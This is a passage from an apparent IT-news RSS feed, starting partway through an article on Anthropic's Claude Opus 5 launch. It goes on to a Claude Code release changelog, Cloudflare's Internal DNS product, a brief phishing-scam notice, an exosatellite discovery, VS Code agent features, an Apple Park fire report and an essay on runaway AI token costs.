href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[v2.1.219]]></title>
<description><![CDATA[What's changed

Added Claude Opus 5 (claude-opus-5), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok
Added sandbox.network.strictAllowlist setting to deny non-allowlisted hosts for sandboxed commands without prompting
Added DirectoryAdded hook that fires after /add-dir or t...]]></description>
<link>https://tsecurity.de/de/3692181/downloads/v21219/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692181/downloads/v21219/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added Claude Opus 5 (<code>claude-opus-5</code>), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok</li>
<li>Added <code>sandbox.network.strictAllowlist</code> setting to deny non-allowlisted hosts for sandboxed commands without prompting</li>
<li>Added <code>DirectoryAdded</code> hook that fires after <code>/add-dir</code> or the SDK <code>register_repo_root</code> control request registers a new working directory mid-session</li>
<li>Added <code>mcp_server_errors</code> to the headless stream-json init event, listing <code>--mcp-config</code> entries skipped by config validation; terminal runs print a startup warning</li>
<li>Added the <code>workflowSizeGuideline</code> settings key so the advisory Dynamic workflow size guideline can be set from any settings file; the <code>/config</code> row is hidden while one does</li>
<li>Added nested subagent forwarding in stream-json: subagents spawned at depth-2+ now appear when <code>--forward-subagent-text</code> is set, keyed by their spawning Agent <code>tool_use</code> id</li>
<li>Fixed <code>claude -p</code> text output dropping the answer already produced when a turn dies on a mid-stream API error</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed a permission you approved while a self-hosted runner was restarting being dropped when the session resumed, so the approved action now runs</li>
<li>Fixed the Fable model row showing "Requires usage credits" for plans that include it, when a stale cache had baked the label in</li>
<li>Fixed a SIGTERM arriving while a self-hosted runner was starting up leaving a stale active row until the lease expired; it now deregisters cleanly</li>
<li>Added structured failure categories to self-hosted runner spawn and session failures, so hook errors, runner crashes and config errors can be told apart</li>
<li>Fixed the <code>/model</code> picker showing the merged Opus row as plain "Opus" instead of "Opus (1M context)"</li>
<li>Fixed copy-on-select inside GNU screen printing base64 into the terminal instead of copying the selection</li>
<li>Fixed Remote Control clients keeping a stale fast-mode status after a model switch, reconnect, or failed org check</li>
<li>Fixed <code>CLAUDE_CODE_GIT_BASH_PATH</code> on Windows exiting or being used as bash when the path isn't a bash/sh binary; it's now ignored with a warning</li>
<li>Fixed Vim mode: pressing ← on an empty prompt now returns to the agent view from NORMAL mode, not just INSERT</li>
<li>Fixed screen-reader mode rewriting the entire input line on every keystroke instead of echoing only the typed character</li>
<li>Improved the "Remote Control is only available via api.anthropic.com" error to name the specific setting that caused it</li>
<li>Improved <code>claude --teleport</code> to show which repo your current checkout points at when it doesn't match the session's repo</li>
<li>Changed dynamic workflows to default to a medium size guideline (aim for fewer than 15 agents); pick another size or unrestricted with Dynamic workflow size in <code>/config</code></li>
<li>Changed managed MCP allowlist/denylist <code>${VAR}</code> entries to resolve from the startup environment and managed-settings env instead of settings-file env</li>
<li>Changed the <code>/model</code> picker to highlight only the newest model's name, so the highlight marks the new release rather than an arbitrary subset of the list</li>
<li>Added the current default workflow size to the running-workflow status line, with a pointer to <code>/config</code> for changing it</li>
<li>Removed Opus 4.7 from fast mode; <code>/fast</code> now applies to Opus 5 and Opus 4.8</li>
<li>Updated the claude-api skill to default to Claude Opus 5, with a migration path from Opus 4.8</li>
<li>Subagents can now spawn nested subagents up to depth 3 by default (was 1); set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=1 to disable nesting</li>
</ul>]]></content:encoded>
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<title><![CDATA[Cloudflare Internal DNS puts public and private DNS on one policy engine]]></title>
<description><![CDATA[Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should n...]]></description>
<link>https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</guid>
<pubDate>Fri, 24 Jul 2026 18:18:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises typically operate separate systems for internal and external <a href="https://www.networkworld.com/article/965540/what-is-dns-and-how-does-it-work.html">DNS</a> because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. </p>



<p class="wp-block-paragraph">While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means <a href="https://www.networkworld.com/article/4158134/dns-security-is-often-inadequate-and-network-engineers-should-get-more-involved.html">ongoing manual synchronization work</a> for network teams. </p>



<p class="wp-block-paragraph">Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.</p>



<p class="wp-block-paragraph">Cloudflare’s answer is a product it calls Internal DNS.</p>



<p class="wp-block-paragraph">“Many organizations already use Cloudflare for their public DNS,” <a href="https://www.linkedin.com/in/enriquesomoza/">Enrique Somoza</a>, product, performance and infrastructure at Cloudflare, told<em> Network World</em>. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” </p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.</p>



<p class="wp-block-paragraph">“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>Policy first.</strong> The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”</p>



<p class="wp-block-paragraph"><strong>No public path in.</strong> Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>One hostname, multiple answers.</strong> Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”</p>



<p class="wp-block-paragraph">Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.</p>



<p class="wp-block-paragraph"><strong>View selection.</strong> The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. </p>



<p class="wp-block-paragraph">“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”</p>



<p class="wp-block-paragraph">A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.</p>



<p class="wp-block-paragraph"><strong>Latency and resilience.</strong> Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”</p>



<h2 class="wp-block-heading">How this differs from split-horizon DNS</h2>



<p class="wp-block-paragraph">Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.</p>



<p class="wp-block-paragraph">“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”</p>



<p class="wp-block-paragraph">Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”</p>



<p class="wp-block-paragraph">For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.</p>



<h2 class="wp-block-heading">Early use cases and migration challenges</h2>



<p class="wp-block-paragraph">Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.</p>



<p class="wp-block-paragraph">Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.</p>



<p class="wp-block-paragraph">When it comes to migration, the friction customers report during migration is procedural rather than architectural. </p>



<p class="wp-block-paragraph">“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”</p>
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<title><![CDATA[Call of Duty Mobile scam uses fake free points to steal player accounts]]></title>
<description><![CDATA[A phishing site posing as a free Call of Duty Points giveaway is stealing Activision logins and two-factor authentication codes. This article has been indexed from Malwarebytes Read the original article: Call of Duty Mobile scam uses fake free points…
Read more →
The post Call of Duty Mobile scam...]]></description>
<link>https://tsecurity.de/de/3691930/it-security-nachrichten/call-of-duty-mobile-scam-uses-fake-free-points-to-steal-player-accounts/</link>
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<pubDate>Fri, 24 Jul 2026 17:46:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A phishing site posing as a free Call of Duty Points giveaway is stealing Activision logins and two-factor authentication codes. This article has been indexed from Malwarebytes Read the original article: Call of Duty Mobile scam uses fake free points…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/call-of-duty-mobile-scam-uses-fake-free-points-to-steal-player-accounts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/call-of-duty-mobile-scam-uses-fake-free-points-to-steal-player-accounts/">Call of Duty Mobile scam uses fake free points to steal player accounts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Call of Duty Mobile scam uses fake free points to steal player accounts]]></title>
<description><![CDATA[A phishing site posing as a free Call of Duty Points giveaway is stealing Activision logins and two-factor authentication codes.]]></description>
<link>https://tsecurity.de/de/3691902/it-security-nachrichten/call-of-duty-mobile-scam-uses-fake-free-points-to-steal-player-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691902/it-security-nachrichten/call-of-duty-mobile-scam-uses-fake-free-points-to-steal-player-accounts/</guid>
<pubDate>Fri, 24 Jul 2026 17:34:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A phishing site posing as a free Call of Duty Points giveaway is stealing Activision logins and two-factor authentication codes.]]></content:encoded>
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<title><![CDATA[Astronomers May Have Discovered First Moon Outside Our Solar System]]></title>
<description><![CDATA[Astronomers studying the star system CD-35 2722 may have found the first known moon-like object outside our solar system. The classification is unusually tricky, however, because it orbits a brown dwarf rather than a planet, making it clearly an "exosatellite" but forcing scientists to rethink wh...]]></description>
<link>https://tsecurity.de/de/3691872/it-security-nachrichten/astronomers-may-have-discovered-first-moon-outside-our-solar-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691872/it-security-nachrichten/astronomers-may-have-discovered-first-moon-outside-our-solar-system/</guid>
<pubDate>Fri, 24 Jul 2026 17:07:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronomers studying the star system CD-35 2722 may have found the first known moon-like object outside our solar system. The classification is unusually tricky, however, because it orbits a brown dwarf rather than a planet, making it clearly an "exosatellite" but forcing scientists to rethink where the line between planet, moon, and failed star should be drawn. Space.com reports: The star CD-35 2722 is located around 73 light-years away and has around half the mass of the sun. It is orbited by a "failed star" or brown dwarf. These stellar bodies get their unfortunate nickname because they form like other stars but fail to gather enough mass to trigger the fusion of hydrogen to helium in their cores. In terms of mass, brown dwarfs are more massive than the largest gas giant planets, but smaller than the smallest stars, usually with around 13 to 80 times the mass of Jupiter, or around 0.013 to 0.08 times the mass of the sun.
 
The newly discovered object in CD-35 2722 is certainly moon-like, but rather than orbiting a planet as the moons in the solar system do, it orbits the system's brown dwarf. "This system is somewhat hard to define using solar-system-based words like 'planet' and 'moon.' The exosatellite is clearly massive enough to be a planet, but it does not orbit a star, though it orbits an object that orbits a star," team leader Kevin Hoy of the Universidad Diego Portales and the Millennium Nucleus of Young Exoplanets and their Moons (YEMS) in Chile, said in a statement. "Being the third wheel in this system makes us want to call it a moon, even if it is nothing like the small, rocky moons we have in our system."
 
The team currently isn't able to definitively claim this object in CD-35 2722 is an exomoon, because that would require really nailing down a new definition of what a moon is. "The satellite we report is a giant gaseous body orbiting a highly massive companion, itself several times the mass of Jupiter. We have a clear delineation between the planets and the sun in the solar system, so defining things like moons is simple," team member Alice Zurlo of the Universidad Diego Portales said. "In the CD-35 2722 system, where we are blurring the lines between stars, planets, and moons, the whole thing becomes more complicated to describe." Zurlo and colleagues can, however, confidently claim this is an exosatellite, meaning it is a first-of-its-kind detection no matter what the future holds for its classification. 

The findings have been published in the journal Nature.<p></p><div class="share_submission">
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</div><p><a href="https://science.slashdot.org/story/26/07/24/0712238/astronomers-may-have-discovered-first-moon-outside-our-solar-system?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Visual Studio Code 1.130 dresses up Agents window]]></title>
<description><![CDATA[Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.



VS Code 1.130 was released on July 22, one week after VS Code 1.129. Developers can access the releas...]]></description>
<link>https://tsecurity.de/de/3691858/ai-nachrichten/visual-studio-code-1130-dresses-up-agents-window/</link>
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<pubDate>Fri, 24 Jul 2026 17:00:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.</p>



<p class="wp-block-paragraph">VS Code 1.130 was released on <a href="https://code.visualstudio.com/updates/v1_130#_agents-window-improvements-preview">July 22</a>, one week after <a href="https://www.infoworld.com/article/4199680/visual-studio-code-1-129-introduces-dedicated-agent-host.html">VS Code 1.129</a>. Developers can access the release for Windows, Linux, or Mac from <a href="https://code.visualstudio.com/Download?_exp_download=fb315fc982">code.visualstudio.com</a>. </p>



<p class="wp-block-paragraph">With the new release, the <a href="https://code.visualstudio.com/docs/agents/agents-window">Agents window</a> gets updates that make it easier to review changes and manage chats. File-level diff statistics help users assess the size of each file’s changes when scanning a multi-file diff. The window also gets a more compact multi-file diff that makes it easier to review changes, Microsoft said. The Agents window is a dedicated window in VS Code that lets users run and track multiple agent sessions in parallel across their projects, without opening each workspace in a separate window.</p>



<p class="wp-block-paragraph">Also with VS Code 1.130, assisted permissions for agent tool calls are available in the <a href="https://code.visualstudio.com/updates/v1_130#_the-agent-host" data-type="link" data-id="https://code.visualstudio.com/updates/v1_130#_the-agent-host">agent host</a>. With assisted permissions, the LLM evaluates the risk of each tool call and decides whether the tool can run or should require the user’s approval. The setting to enable assisted permissions is <code>chat.assistedPermissions.enabled</code>. In another agent host improvement, quick chats running on the agent host now use compact, single-line rows in the sessions list. Regular sessions retain a second line with change statistics, status, and timestamps. </p>



<p class="wp-block-paragraph">VS Code users now can open file links from Git diff output in the terminal when Git’s <a href="https://git-scm.com/docs/diff-config#Documentation/diff-config.txt-diffmnemonicPrefix" target="_blank" rel="noreferrer noopener"><code>diff.mnemonicPrefix</code></a> option is enabled. VS Code recognizes prefixes such as<code> i/</code> for the index and <code>w/</code> for the working tree, and removes the prefix from the link target so the correct file opens. When mnemonic prefixes are enabled, VS Code also recognizes the numeric prefixes produced by <code>git diff --no-index</code>.</p>



<p class="wp-block-paragraph">Timestamps for chat requests and responses now are displayed when users hover over the message toolbar. You can disable this through the <code>chat.verbose</code> setting. </p>
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<title><![CDATA[Dispatch records cut claims of major Apple Park fire damage down to size]]></title>
<description><![CDATA[Santa Clara County firefighters responded to an outside fire at an Apple property in Cupertino on July 23, but public evidence available and fire department reports refute major damage claims.Apple Park headquartersA public PulsePoint listing from Santa Clara County Fire shows an outside fire rep...]]></description>
<link>https://tsecurity.de/de/3691791/ios-mac-os/dispatch-records-cut-claims-of-major-apple-park-fire-damage-down-to-size/</link>
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<pubDate>Fri, 24 Jul 2026 16:29:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Santa Clara County firefighters responded to an outside fire at an Apple property in Cupertino on July 23, but public evidence available and fire department reports refute major damage claims.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68351-144058-Apple-Park-miniature-xl.jpg" alt="Aerial view of a huge circular futuristic office complex surrounding a landscaped green park with trees, pathways, small buildings, and a central circular courtyard" height="738"><span>Apple Park headquarters</span></div><br>A public PulsePoint listing from <a href="https://www.sccfd.org/">Santa Clara County Fire</a> shows an outside fire reported at 5:38 p.m. Pacific time on July 23 at 18922 Forge Drive. The department closed the call at 6:24 p.m., about 45 minutes later, and the listing identifies Engine 71 as the only assigned unit.<br><br>The dispatch record doesn't describe the damage, identify what burned, or say how the fire started. It also doesn't mention an Apple employee, a cigarette, injuries, evacuations, structural damage, or any disruption to <a href="https://appleinsider.com/inside/apple-park" title="Apple Park" data-kpt="1">Apple Park</a>.<br><br>A July 24 post from ShrimpApplePro claimed that an Apple employee discarded a cigarette near the campus fence, starting a fire that spread to fencing installed in 2025. ShrimpApplePro didn't identify a source, provide a damage estimate, or offer evidence connecting an employee to the fire.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/dispatch-records-cut-claims-of-major-apple-park-fire-damage-down-to-size?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245052?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
